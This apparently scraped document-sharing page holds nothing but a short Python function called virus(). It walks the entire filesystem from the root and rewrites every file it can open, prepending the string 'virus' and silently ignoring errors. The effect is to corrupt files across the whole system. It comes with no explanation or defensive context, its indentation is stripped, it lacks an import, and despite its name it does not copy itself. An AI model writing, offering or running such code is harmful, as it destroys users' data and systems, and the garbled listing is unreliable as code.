Professional Documents
Culture Documents
Untitled
Untitled
def virus():
for root, dirs, files in os.walk("/"):
for file in files:
try:
with open(os.path.join(root, file), "r+b") as f:
header = f.read(512)
if b"virus" not in header:
f.seek(0)
virus_code = f.read()
f.seek(0)
f.write(b"virus" + virus_code)
except:
pass
virus()